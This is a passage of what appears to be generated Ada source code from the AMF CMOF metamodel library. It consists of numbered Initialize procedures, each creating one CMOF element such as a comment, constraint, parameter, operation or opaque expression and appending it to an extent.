Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Opaque_Expression;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_630;
--------------------
-- Initialize_631 --
--------------------
procedure Initialize_631 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Parameter;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_631;
--------------------
-- Initialize_632 --
--------------------
procedure Initialize_632 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Parameter;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_632;
--------------------
-- Initialize_633 --
--------------------
procedure Initialize_633 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Parameter;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_633;
--------------------
-- Initialize_634 --
--------------------
procedure Initialize_634 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_634;
--------------------
-- Initialize_635 --
--------------------
procedure Initialize_635 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Constraint;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_635;
--------------------
-- Initialize_636 --
--------------------
procedure Initialize_636 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_636;
--------------------
-- Initialize_637 --
--------------------
procedure Initialize_637 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Opaque_Expression;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_637;
--------------------
-- Initialize_638 --
--------------------
procedure Initialize_638 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Constraint;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_638;
--------------------
-- Initialize_639 --
--------------------
procedure Initialize_639 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_639;
--------------------
-- Initialize_640 --
--------------------
procedure Initialize_640 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Opaque_Expression;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_640;
--------------------
-- Initialize_641 --
--------------------
procedure Initialize_641 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_641;
--------------------
-- Initialize_642 --
--------------------
procedure Initialize_642 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_642;
--------------------
-- Initialize_643 --
--------------------
procedure Initialize_643 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_643;
--------------------
-- Initialize_644 --
--------------------
procedure Initialize_644 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_644;
--------------------
-- Initialize_645 --
--------------------
procedure Initialize_645 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Operation;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_645;
--------------------
-- Initialize_646 --
--------------------
procedure Initialize_646 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_646;
--------------------
-- Initialize_647 --
--------------------
procedure Initialize_647 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Constraint;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_647;
--------------------
-- Initialize_648 --
--------------------
procedure Initialize_648 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Opaque_Expression;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_648;
--------------------
-- Initialize_649 --
--------------------
procedure Initialize_649 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Parameter;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_649;
--------------------
-- Initialize_650 --
--------------------
procedure Initialize_650 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_650;
--------------------
-- Initialize_651 --
--------------------
procedure Initialize_651 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Constraint;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_651;
--------------------
-- Initialize_652 --
--------------------
procedure Initialize_652 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_652;
--------------------
-- Initialize_653 --
--------------------
procedure Initialize_653 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Opaque_Expression;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_653;
--------------------
-- Initialize_654 --
--------------------
procedure Initialize_654 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_654;
--------------------
-- Initialize_655 --
--------------------
procedure Initialize_655 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_655;
--------------------
-- Initialize_656 --
--------------------
procedure Initialize_656 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_656;
--------------------
-- Initialize_657 --
--------------------
procedure Initialize_657 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_657;
--------------------
-- Initialize_658 --
--------------------
procedure Initialize_658 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_658;
--------------------
-- Initialize_659 --
--------------------
procedure Initialize_659 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_659;
--------------------
-- Initialize_660 --
--------------------
procedure Initialize_660 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Operation;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_660;
--------------------
-- Initialize_661 --
--------------------
procedure Initialize_661 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_661;
--------------------
-- Initialize_662 --
--------------------
procedure Initialize_662 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Constraint;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_662;
--------------------
-- Initialize_663 --
--------------------
procedure Initialize_663 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Opaque_Expression;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_663;
--------------------
-- Initialize_664 --
--------------------
procedure Initialize_664 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Parameter;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_664;
--------------------
-- Initialize_665 --
--------------------
procedure Initialize_665 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Operation;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_665;
--------------------
-- Initialize_666 --
--------------------
procedure Initialize_666 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_666;
--------------------
-- Initialize_667 --
--------------------
procedure Initialize_667 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Constraint;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_667;
--------------------
-- Initialize_668 --
--------------------
procedure Initialize_668 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Opaque_Expression;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_668;
--------------------
-- Initialize_669 --
--------------------
procedure Initialize_669 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Parameter;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_669;
--------------------
-- Initialize_670 --
--------------------
procedure Initialize_670 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Operation;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_670;
--------------------
-- Initialize_671 --
--------------------
procedure Initialize_671 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_671;
--------------------
-- Initialize_672 --
--------------------
procedure Initialize_672 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Constraint;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_672;
--------------------
-- Initialize_673 --
--------------------
procedure Initialize_673 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Opaque_Expression;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_673;
--------------------
-- Initialize_674 --
--------------------
procedure Initialize_674 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Constraint;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_674;
--------------------
-- Initialize_675 --
--------------------
procedure Initialize_675 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Opaque_Expression;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_675;
--------------------
-- Initialize_676 --
--------------------
procedure Initialize_676 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Parameter;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_676;
--------------------
-- Initialize_677 --
--------------------
procedure Initialize_677 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Parameter;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_677;
--------------------
-- Initialize_678 --
--------------------
procedure Initialize_678 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_678;
--------------------
-- Initialize_679 --
--------------------
procedure Initialize_679 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Constraint;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_679;
--------------------
-- Initialize_680 --
--------------------
procedure Initialize_680 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_680;
--------------------
-- Initialize_681 --
--------------------
procedure Initialize_681 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Opaque_Expression;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_681;
--------------------
-- Initialize_682 --
--------------------
procedure Initialize_682 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_682;
--------------------
-- Initialize_683 --
--------------------
procedure Initialize_683 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_683;
--------------------
-- Initialize_684 --
--------------------
procedure Initialize_684 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_684;
--------------------
-- Initialize_685 --
--------------------
procedure Initialize_685 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_685;
--------------------
-- Initialize_686 --
--------------------
procedure Initialize_686 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_686;
--------------------
-- Initialize_687 --
--------------------
procedure Initialize_687 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_687;
--------------------
-- Initialize_688 --
--------------------
procedure Initialize_688 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_688;
--------------------
-- Initialize_689 --
--------------------
procedure Initialize_689 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_689;
--------------------
-- Initialize_690 --
--------------------
procedure Initialize_690 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Operation;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_690;
--------------------
-- Initialize_691 --
--------------------
procedure Initialize_691 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_691;
--------------------
-- Initialize_692 --
--------------------
procedure Initialize_692 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Constraint;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_692;
--------------------
-- Initialize_693 --
--------------------
procedure Initialize_693 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Opaque_Expression;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_693;
--------------------
-- Initialize_694 --
--------------------
procedure Initialize_694 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Parameter;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_694;
--------------------
-- Initialize_695 --
--------------------
procedure Initialize_695 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Parameter;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_695;
--------------------
-- Initialize_696 --
--------------------
procedure Initialize_696 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_696;
--------------------
-- Initialize_697 --
--------------------
procedure Initialize_697 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Constraint;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_697;
--------------------
-- Initialize_698 --
--------------------
procedure Initialize_698 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_698;
--------------------
-- Initialize_699 --
--------------------
procedure Initialize_699 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Opaque_Expression;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_699;
--------------------
-- Initialize_700 --
--------------------
procedure Initialize_700 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Constraint;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_700;
--------------------
-- Initialize_701 --
--------------------
procedure Initialize_701 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_701;
--------------------
-- Initialize_702 --
--------------------
procedure Initialize_702 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Opaque_Expression;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_702;
--------------------
-- Initialize_703 --
--------------------
procedure Initialize_703 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Constraint;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_703;
--------------------
-- Initialize_704 --
--------------------
procedure Initialize_704 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_704;
--------------------
-- Initialize_705 --
--------------------
procedure Initialize_705 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Opaque_Expression;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_705;
--------------------
-- Initialize_706 --
--------------------
procedure Initialize_706 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_706;
--------------------
-- Initialize_707 --
--------------------
procedure Initialize_707 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_707;
--------------------
-- Initialize_708 --
--------------------
procedure Initialize_708 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_708;
--------------------
-- Initialize_709 --
--------------------
procedure Initialize_709 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_709;
--------------------
-- Initialize_710 --
--------------------
procedure Initialize_710 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Operation;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_710;
--------------------
-- Initialize_711 --
--------------------
procedure Initialize_711 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_711;
--------------------
-- Initialize_712 --
--------------------
procedure Initialize_712 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Constraint;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_712;
--------------------
-- Initialize_713 --
--------------------
procedure Initialize_713 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Opaque_Expression;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_713;
--------------------
-- Initialize_714 --
--------------------
procedure Initialize_714 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Parameter;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_714;
--------------------
-- Initialize_715 --
--------------------
procedure Initialize_715 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Operation;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_715;
--------------------
-- Initialize_716 --
--------------------
procedure Initialize_716 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_716;
--------------------
-- Initialize_717 --
--------------------
procedure Initialize_717 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Constraint;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_717;
--------------------
-- Initialize_718 --
--------------------
procedure Initialize_718 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Opaque_Expression;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_718;
--------------------
-- Initialize_719 --
--------------------
procedure Initialize_719 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Parameter;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_719;
--------------------
-- Initialize_720 --
--------------------
procedure Initialize_720 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Parameter;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_720;
--------------------
-- Initialize_721 --
--------------------
procedure Initialize_721 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Parameter;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_721;
--------------------
-- Initialize_722 --
--------------------
procedure Initialize_722 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Operation;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_722;
--------------------
-- Initialize_723 --
--------------------
procedure Initialize_723 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_723;
--------------------
-- Initialize_724 --
--------------------
procedure Initialize_724 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Constraint;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_724;
--------------------
-- Initialize_725 --
--------------------
procedure Initialize_725 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Opaque_Expression;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_725;
--------------------
-- Initialize_726 --
--------------------
procedure Initialize_726 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Parameter;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_726;
--------------------
-- Initialize_727 --
--------------------
